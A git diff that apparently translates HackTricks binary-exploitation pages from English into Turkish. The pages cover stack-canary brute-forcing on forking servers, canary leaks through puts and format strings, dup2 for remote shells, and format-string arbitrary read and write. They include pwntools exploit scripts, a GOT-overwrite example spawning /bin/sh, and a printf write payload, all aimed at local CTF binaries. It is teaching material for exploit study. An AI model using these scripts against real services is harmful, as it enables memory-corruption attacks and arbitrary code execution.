Bu saldırı, yazıda gerçekleştirilmiştir: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
## References
## Referanslar
- [https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html)
- [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)

124
src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
View File

@ -2,55 +2,54 @@
{{#include ../../../banners/hacktricks-training.md}}
**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**
**Eğer bir canary ve PIE (Position Independent Executable) ile korunmuş bir ikili dosya ile karşılaşıyorsanız, muhtemelen bunları aşmanın bir yolunu bulmanız gerekiyor.**
![](<../../../images/image (865).png>)
> [!NOTE]
> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\
> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting.
> **`checksec`**'in bir ikili dosyanın canary ile korunduğunu bulamayabileceğini unutmayın, eğer bu statik olarak derlenmişse ve fonksiyonu tanımlama yeteneği yoksa.\
> Ancak, bir fonksiyon çağrısının başında bir değerin yığıtta saklandığını ve bu değerin çıkmadan önce kontrol edildiğini bulursanız, bunu manuel olarak fark edebilirsiniz.
## Brute force Canary
The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**.
Basit bir canary'yi aşmanın en iyi yolu, ikili dosyanın her yeni bağlantı kurduğunuzda **çocuk süreçler fork eden** bir program olmasıdır (ağ servisi), çünkü her bağlantı kurduğunuzda **aynı canary kullanılacaktır**.
Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**):
Bu durumda, canary'yi aşmanın en iyi yolu sadece **karakter karakter brute-force yapmak** ve tahmin edilen canary baytının doğru olup olmadığını, programın çöküp çökmediğini veya normal akışına devam edip etmediğini kontrol ederek anlamaktır. Bu örnekte, fonksiyon **8 Baytlık bir canary'yi (x64) brute-force yapar** ve doğru tahmin edilen bir bayt ile kötü bir bayt arasında sadece **kontrol ederek** ayırt eder; eğer sunucu tarafından bir **yanıt** geri gönderilmişse (başka bir durumda **try/except** kullanmak da bir yol olabilir):
### Example 1
This example is implemented for 64bits but could be easily implemented for 32 bits.
### Örnek 1
Bu örnek 64 bit için uygulanmıştır ancak 32 bit için de kolayca uygulanabilir.
```python
from pwn import *
def connect():
r = remote("localhost", 8788)
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
@ -58,43 +57,41 @@ print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```
### Örnek 2
### Example 2
This is implemented for 32 bits, but this could be easily changed to 64bits.\
Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload.
Bu 32 bit için uygulanmıştır, ancak bu kolayca 64 bite değiştirilebilir.\
Ayrıca bu örnek için **programın önce girişin boyutunu belirtmek için bir byte beklediğini** ve yükü dikkate alınız.
```python
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
@ -104,18 +101,17 @@ target = process('./feedme')
canary = breakCanary()
log.info(f"The canary is: {canary}")
```
## İpleri
## Threads
Aynı işlemin ipleri de **aynı canary token'ını paylaşacaktır**, bu nedenle bir ikili her saldırı gerçekleştiğinde yeni bir ip oluşturuyorsa bir canary'yi **brute-forc**e etmek mümkün olacaktır.&#x20;
Threads of the same process will also **share the same canary token**, therefore it'll be possible to **brute-forc**e a canary if the binary spawns a new thread every time an attack happens.&#x20;
Ayrıca, canary ile korunan bir **ipli fonksiyonda bir buffer overflow** kullanılarak **TLS'de saklanan ana canary'yi değiştirmek** mümkün olabilir. Bunun nedeni, bir ipin **stack'inde bir bof** aracılığıyla TLS'nin saklandığı bellek konumuna ulaşmanın mümkün olabilmesidir.\
Sonuç olarak, bu önlem işe yaramaz çünkü kontrol, aynı (değiştirilmiş olsa da) iki canary ile kullanılır.\
Bu saldırı, yazıda gerçekleştirilmiştir: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\
As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\
This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Ayrıca, genellikle **TLS**'nin **`mmap`** ile saklandığını ve bir **thread**'in **stack**'i oluşturulduğunda bunun da `mmap` ile oluşturulduğunu belirten [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) sunumunu kontrol edin; bu, önceki yazıda gösterildiği gibi overflow'a izin verebilir.
Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup.
## Other examples & references
## Diğer örnekler ve referanslar
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
- 64 bit, no PIE, nx, BF canary, bazı bellek alanlarına `execve` çağırmak için bir ROP yazın ve oraya atlayın.

22
src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
View File

@ -2,32 +2,32 @@
{{#include ../../../banners/hacktricks-training.md}}
## Enlarge printed stack
## Büyütülmüş yığın
Imagine a situation where a **program vulnerable** to stack overflow can execute a **puts** function **pointing** to **part** of the **stack overflow**. The attacker knows that the **first byte of the canary is a null byte** (`\x00`) and the rest of the canary are **random** bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**.
Bir **stack overflow** açığına sahip bir **programın** **puts** fonksiyonunu **yığın taşmasına** **işaret eden** bir **kısma** yönlendirebildiği bir durumu hayal edin. Saldırgan, **kanaryanın ilk baytının bir null bayt olduğunu** (`\x00`) ve kanaryanın geri kalanının **rastgele** baytlar olduğunu bilir. Ardından, saldırgan **kanaryanın ilk baytına kadar yığını** **aşan** bir taşma oluşturabilir.
Then, the attacker **calls the puts functionalit**y on the middle of the payload which will **print all the canary** (except from the first null byte).
Sonra, saldırgan **payload'un ortasında puts fonksiyonunu** **çağırır** ve bu, **kanaryayı** **yazdırır** (ilk null bayt hariç).
With this info the attacker can **craft and send a new attack** knowing the canary (in the same program session).
Bu bilgiyle saldırgan, kanaryayı (aynı program oturumunda) bilerek **yeni bir saldırı oluşturup gönderebilir**.
Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload (in the **same program session**) and **send** the **real buffer overflow**.
Açıkça, bu taktik çok **kısıtlıdır** çünkü saldırgan **payload'unun içeriğini** **yazdırabilmeli** ve **kanaryayı** **sızdırabilmeli** ve ardından **yeni bir payload** oluşturup (aynı program oturumunda) **gerçek buffer overflow'u** **gönderebilmelidir**.
**CTF examples:**&#x20;
**CTF örnekleri:**&#x20;
- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
- 64 bit, ASLR etkin ama PIE yok, ilk adım kanaryanın 0x00 baytına kadar bir taşma doldurmak ve ardından puts'u çağırarak sızdırmaktır. Kanarya ile bir ROP gadget'ı oluşturulur ve puts'un GOT'dan adresini sızdırmak için puts'u çağırır ve ardından `system('/bin/sh')` çağırmak için bir ROP gadget'ı.
- [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html)
- 32 bit, ARM, no relro, canary, nx, no pie. Overflow with a call to puts on it to leak the canary + ret2lib calling `system` with a ROP chain to pop r0 (arg `/bin/sh`) and pc (address of system)
- 32 bit, ARM, relro yok, kanarya, nx, pie yok. Kanaryayı sızdırmak için puts'a bir çağrı ile taşma ve `system`'ı çağıran bir ROP zinciri ile r0'ı (arg `/bin/sh`) ve pc'yi (system adresi) pop'lamak.
## Arbitrary Read
## Keyfi Okuma
With an **arbitrary read** like the one provided by format **strings** it might be possible to leak the canary. Check this example: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) and you can read about abusing format strings to read arbitrary memory addresses in:
**Keyfi okuma** ile format **string'leri** tarafından sağlanan bir yöntemle kanaryayı sızdırmak mümkün olabilir. Bu örneğe bakın: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) ve keyfi bellek adreslerini okumak için format string'lerini kötüye kullanma hakkında okuyabilirsiniz:
{{#ref}}
../../format-strings/
{{#endref}}
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
- This challenge abuses in a very simple way a format string to read the canary from the stack
- Bu zorluk, yığından kanaryayı okumak için çok basit bir şekilde bir format string'ini kötüye kullanıyor.
{{#include ../../../banners/hacktricks-training.md}}

18
src/binary-exploitation/common-exploiting-problems.md
View File

@ -1,15 +1,14 @@
# Common Exploiting Problems
# Yaygın Sömürü Problemleri
{{#include ../banners/hacktricks-training.md}}
## FDs in Remote Exploitation
## Uzak Sömürüde FD'ler
When sending an exploit to a remote server that calls **`system('/bin/sh')`** for example, this will be executed in the server process ofc, and `/bin/sh` will expect input from stdin (FD: `0`) and will print the output in stdout and stderr (FDs `1` and `2`). So the attacker won't be able to interact with the shell.
Örneğin, **`system('/bin/sh')`** çağrısı yapan bir sömürü gönderdiğinizde, bu sunucu sürecinde çalıştırılacak ve `/bin/sh` stdin'den (FD: `0`) girdi bekleyecek ve stdout ile stderr'de (FD'ler `1` ve `2`) çıktıyı yazdıracaktır. Bu nedenle, saldırgan shell ile etkileşimde bulunamayacaktır.
A way to fix this is to suppose that when the server started it created the **FD number `3`** (for listening) and that then, your connection is going to be in the **FD number `4`**. Therefore, it's possible to use the syscall **`dup2`** to duplicate the stdin (FD 0) and the stdout (FD 1) in the FD 4 (the one of the connection of the attacker) so it'll make feasible to contact the shell once it's executed.
[**Exploit example from here**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
Bunu düzeltmenin bir yolu, sunucu başlatıldığında **FD numarası `3`** (dinleme için) oluşturduğunu ve ardından bağlantınızın **FD numarası `4`** olacağını varsaymaktır. Bu nedenle, stdin'i (FD 0) ve stdout'u (FD 1) FD 4'te (saldırganın bağlantısı) çoğaltmak için **`dup2`** sistem çağrısını kullanmak mümkündür, böylece çalıştırıldığında shell ile iletişim kurmak mümkün olacaktır.
[**Buradan Sömürü örneği**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
```python
from pwn import *
@ -26,13 +25,12 @@ p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
```
## Socat & pty
Note that socat already transfers **`stdin`** and **`stdout`** to the socket. However, the `pty` mode **include DELETE characters**. So, if you send a `\x7f` ( `DELETE` -)it will **delete the previous character** of your exploit.
socat'ın zaten **`stdin`** ve **`stdout`**'u sokete aktardığını unutmayın. Ancak, `pty` modu **DELETE karakterlerini** içerir. Yani, bir `\x7f` (`DELETE` -) gönderirseniz, bu **saldırınızın önceki karakterini siler**.
In order to bypass this the **escape character `\x16` must be prepended to any `\x7f` sent.**
Bunu aşmak için, gönderilen her `\x7f`'ye **kaçış karakteri `\x16` eklenmelidir.**
**Here you can** [**find an example of this behaviour**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
**Burada bu davranışın** [**bir örneğini bulabilirsiniz**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
{{#include ../banners/hacktricks-training.md}}

176
src/binary-exploitation/format-strings/README.md
View File

@ -2,22 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Temel Bilgiler
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
C'de **`printf`** bazı metinleri **yazdırmak** için kullanılabilen bir fonksiyondur. Bu fonksiyonun beklediği **ilk parametre**, **formatlayıcılarla birlikte ham metin**'dir. Beklenen **sonraki parametreler**, ham metindeki **formatlayıcıları** **değiştirmek** için gereken **değerler**dir.
{% embed url="https://www.stmcyber.com/careers" %}
Diğer savunmasız fonksiyonlar **`sprintf()`** ve **`fprintf()`**'dir.
## Basic Information
In C **`printf`** is a function that can be used to **print** some string. The **first parameter** this function expects is the **raw text with the formatters**. The **following parameters** expected are the **values** to **substitute** the **formatters** from the raw text.
Other vulnerable functions are **`sprintf()`** and **`fprintf()`**.
The vulnerability appears when an **attacker text is used as the first argument** to this function. The attacker will be able to craft a **special input abusing** the **printf format** string capabilities to read and **write any data in any address (readable/writable)**. Being able this way to **execute arbitrary code**.
#### Formatters:
Zafiyet, bu fonksiyona **ilk argüman olarak bir saldırgan metni kullanıldığında** ortaya çıkar. Saldırgan, **printf format** dizesinin yeteneklerini kötüye kullanarak **herhangi bir adreste (okunabilir/yazılabilir)** **herhangi bir veriyi okumak ve yazmak** için özel bir **girdi oluşturma** yeteneğine sahip olacaktır. Bu şekilde **rastgele kod çalıştırma** imkanı bulur.
#### Formatlayıcılar:
```bash
%08x —> 8 hex bytes
%d —> Entire
@ -28,72 +21,58 @@ The vulnerability appears when an **attacker text is used as the first argument*
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**Örnekler:**
**Examples:**
- Vulnerable example:
- Açık örnek:
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
- Normal Use:
- Normal Kullanım:
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
- With Missing Arguments:
- Eksik Argümanlarla:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
- fprintf vulnerable:
- fprintf zayıf:
```c
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
```
### **Pointer'lara Erişim**
### **Accessing Pointers**
The format **`%<n>$x`**, where `n` is a number, allows to indicate to printf to select the n parameter (from the stack). So if you want to read the 4th param from the stack using printf you could do:
Format **`%<n>$x`**, burada `n` bir sayı, printf'e n parametresini (stack'ten) seçmesini belirtir. Yani, printf kullanarak stack'ten 4. parametreyi okumak istiyorsanız şunu yapabilirsiniz:
```c
printf("%x %x %x %x")
```
ve birinci parametreden dördüncü parametreye kadar okuyabilirsiniz.
and you would read from the first to the forth param.
Or you could do:
Ya da şunu yapabilirsiniz:
```c
printf("%4$x")
```
ve doğrudan dördüncüyü okuyun.
and read directly the forth.
Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack.
Saldırganın `printf` **parametresini kontrol ettiğini unutmayın, bu temelde** girdiğinin `printf` çağrıldığında yığında olacağı anlamına gelir, bu da belirli bellek adreslerini yığına yazabileceği anlamına gelir.
> [!CAUTION]
> An attacker controlling this input, will be able to **add arbitrary address in the stack and make `printf` access them**. In the next section it will be explained how to use this behaviour.
> Bu girişi kontrol eden bir saldırgan, **yığında rastgele adresler ekleyebilir ve `printf`'in bunlara erişmesini sağlayabilir**. Bu davranışın nasıl kullanılacağı bir sonraki bölümde açıklanacaktır.
## **Arbitrary Read**
It's possible to use the formatter **`%n$s`** to make **`printf`** get the **address** situated in the **n position**, following it and **print it as if it was a string** (print until a 0x00 is found). So if the base address of the binary is **`0x8048000`**, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with:
## **Rastgele Okuma**
Biçimlendiriciyi **`%n$s`** kullanarak **`printf`**'in **n pozisyonunda** bulunan **adres**i almasını sağlamak mümkündür, ardından bunu **bir dizeymiş gibi yazdırır** (0x00 bulunana kadar yazdırır). Yani, ikili dosyanın temel adresi **`0x8048000`** ise ve kullanıcı girdisinin yığında 4. pozisyonda başladığını biliyorsak, ikilinin başlangıcını yazdırmak mümkündür:
```python
from pwn import *
@ -106,18 +85,16 @@ payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
> [!CAUTION]
> Note that you cannot put the address 0x8048000 at the beginning of the input because the string will be cat in 0x00 at the end of that address.
> Girişin başına 0x8048000 adresini koyamayacağınızı unutmayın çünkü dize, o adresin sonunda 0x00 ile kesilecektir.
### Find offset
### Ofseti Bul
To find the offset to your input you could send 4 or 8 bytes (`0x41414141`) followed by **`%1$x`** and **increase** the value till retrieve the `A's`.
Girişinizin ofsetini bulmak için 4 veya 8 bayt (`0x41414141`) gönderebilir ve ardından **`%1$x`** ile değeri **artırarak** `A'leri` alana kadar devam edebilirsiniz.
<details>
<summary>Brute Force printf offset</summary>
<summary>Brute Force printf ofseti</summary>
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
@ -125,88 +102,82 @@ from pwn import *
# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Start a new process of the "chall" binary
p = process("./chall")
# Start a new process of the "chall" binary
p = process("./chall")
# Send the payload to the process
p.sendline(payload)
# Send the payload to the process
p.sendline(payload)
# Read and store the output of the process
output = p.clean()
# Read and store the output of the process
output = p.clean()
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Close the process
p.close()
# Close the process
p.close()
```
</details>
### How useful
### Ne kadar faydalı
Arbitrary reads can be useful to:
Rastgele okumalar şunlar için faydalı olabilir:
- **Dump** the **binary** from memory
- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
- **Bellekten** **ikili** **dosyayı** **dökme**
- **Hassas** **bilgilerin** saklandığı bellek **bölümlerine** (canary'ler, şifreleme anahtarları veya bu [**CTF zorluğu**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) gibi özel şifreler) **erişim** sağlama
## **Arbitrary Write**
## **Rastgele Yazma**
The formatter **`%<num>$n`** **writes** the **number of written bytes** in the **indicated address** in the \<num> param in the stack. If an attacker can write as many char as he will with printf, he is going to be able to make **`%<num>$n`** write an arbitrary number in an arbitrary address.
Fortunately, to write the number 9999, it's not needed to add 9999 "A"s to the input, in order to so so it's possible to use the formatter **`%.<num-write>%<num>$n`** to write the number **`<num-write>`** in the **address pointed by the `num` position**.
Formatlayıcı **`%<num>$n`** **yazılan baytların sayısını** **belirtilen adrese** **yazar**. Eğer bir saldırgan printf ile istediği kadar karakter yazabiliyorsa, **`%<num>$n`**'nin rastgele bir sayıyı rastgele bir adrese yazmasını sağlayabilir.
Neyse ki, 9999 sayısını yazmak için girdiye 9999 "A" eklemek gerekmez, bu nedenle **`%.<num-write>%<num>$n`** formatlayıcısını kullanarak **`<num-write>`** sayısını **`num` pozisyonu tarafından gösterilen adrese** yazmak mümkündür.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
Ancak, genellikle `0x08049724` gibi bir adres yazmak için (bu, bir seferde yazılması gereken BÜYÜK bir sayıdır), **`$hn`** kullanılır, **`$n`** yerine. Bu, **sadece 2 Bayt** yazmaya olanak tanır. Bu nedenle, bu işlem iki kez yapılır; bir kez adresin en yüksek 2B'si için ve bir kez de en düşük olanlar için.
However, note that usually in order to write an address such as `0x08049724` (which is a HUGE number to write at once), **it's used `$hn`** instead of `$n`. This allows to **only write 2 Bytes**. Therefore this operation is done twice, one for the highest 2B of the address and another time for the lowest ones.
Bu nedenle, bu zafiyet **herhangi bir adrese (keyfi yazma)** **yazmaya** olanak tanır.
Therefore, this vulnerability allows to **write anything in any address (arbitrary write).**
In this example, the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Although this could abuse other arbitrary write to exec techniques:
Bu örnekte, hedef, daha sonra çağrılacak olan **GOT** tablosundaki bir **fonksiyonun** **adresini** **üst üste yazmak** olacaktır. Bu, diğer keyfi yazma ile exec tekniklerini kötüye kullanabilir:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
We are going to **overwrite** a **function** that **receives** its **arguments** from the **user** and **point** it to the **`system`** **function**.\
As mentioned, to write the address, usually 2 steps are needed: You **first writes 2Bytes** of the address and then the other 2. To do so **`$hn`** is used.
Bir **fonksiyonu** **üst üste yazacağız** ki bu **kullanıcıdan** **argümanlarını** **alır** ve **`system`** **fonksiyonuna** **işaret eder**.\
Belirtildiği gibi, adresi yazmak için genellikle 2 adım gereklidir: Önce adresin 2 Bayt'ını yazarsınız ve sonra diğer 2'sini. Bunu yapmak için **`$hn`** kullanılır.
- **HOB** is called to the 2 higher bytes of the address
- **LOB** is called to the 2 lower bytes of the address
- **HOB**, adresin 2 en yüksek baytına çağrılır
- **LOB**, adresin 2 en düşük baytına çağrılır
Then, because of how format string works you need to **write first the smallest** of \[HOB, LOB] and then the other one.
Daha sonra, format dizesinin nasıl çalıştığı nedeniyle, önce \[HOB, LOB]'nin en küçüğünü **yazmanız** ve ardından diğerini yazmanız gerekir.
If HOB < LOB\
Eğer HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
If HOB > LOB\
Eğer HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
### Pwntools Şablonu
### Pwntools Template
You can find a **template** to prepare a exploit for this kind of vulnerability in:
Bu tür bir zafiyet için bir exploit hazırlamak üzere bir **şablon** bulabilirsiniz:
{{#ref}}
format-strings-template.md
{{#endref}}
Or this basic example from [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
Ya da [**buradan**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) bu temel örneği inceleyebilirsiniz:
```python
from pwn import *
@ -225,27 +196,20 @@ p.sendline('/bin/sh')
p.interactive()
```
## Format String'leri ile BOF
## Format Strings to BOF
Bir format stringi zafiyetinin yazma eylemlerini kötüye kullanarak **stack adreslerine yazmak** ve **buffer overflow** türü bir zafiyeti istismar etmek mümkündür.
It's possible to abuse the write actions of a format string vulnerability to **write in addresses of the stack** and exploit a **buffer overflow** type of vulnerability.
## Other Examples & References
## Diğer Örnekler ve Referanslar
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow)
- 32 bit, relro yok, canary yok, nx, pie yok, stack'ten flag'i sızdırmak için format stringlerin temel kullanımı (işlem akışını değiştirmeye gerek yok)
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
- 32 bit, relro, canary yok, nx, pie yok, `fflush` adresini win fonksiyonu ile (ret2win) üzerine yazmak için format string
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands.
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
- 32 bit, relro, canary yok, nx, pie yok, `.fini_array` içinde main'e bir adres yazmak için format string (böylece akış bir kez daha döner) ve `strlen`'a işaret eden GOT tablosundaki `system` adresini yazmak. Akış main'e geri döndüğünde, kullanıcı girişi ile `strlen` çalıştırılır ve `system`'a işaret eder, geçilen komutları çalıştırır.
{{#include ../../banners/hacktricks-training.md}}

144
src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md
View File

@ -2,31 +2,26 @@
{{#include ../../banners/hacktricks-training.md}}
## Read Binary Start
### Code
## İkili Okuma Başlangıcı
### Kod
```c
#include <stdio.h>
int main(void) {
char buffer[30];
char buffer[30];
fgets(buffer, sizeof(buffer), stdin);
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
return 0;
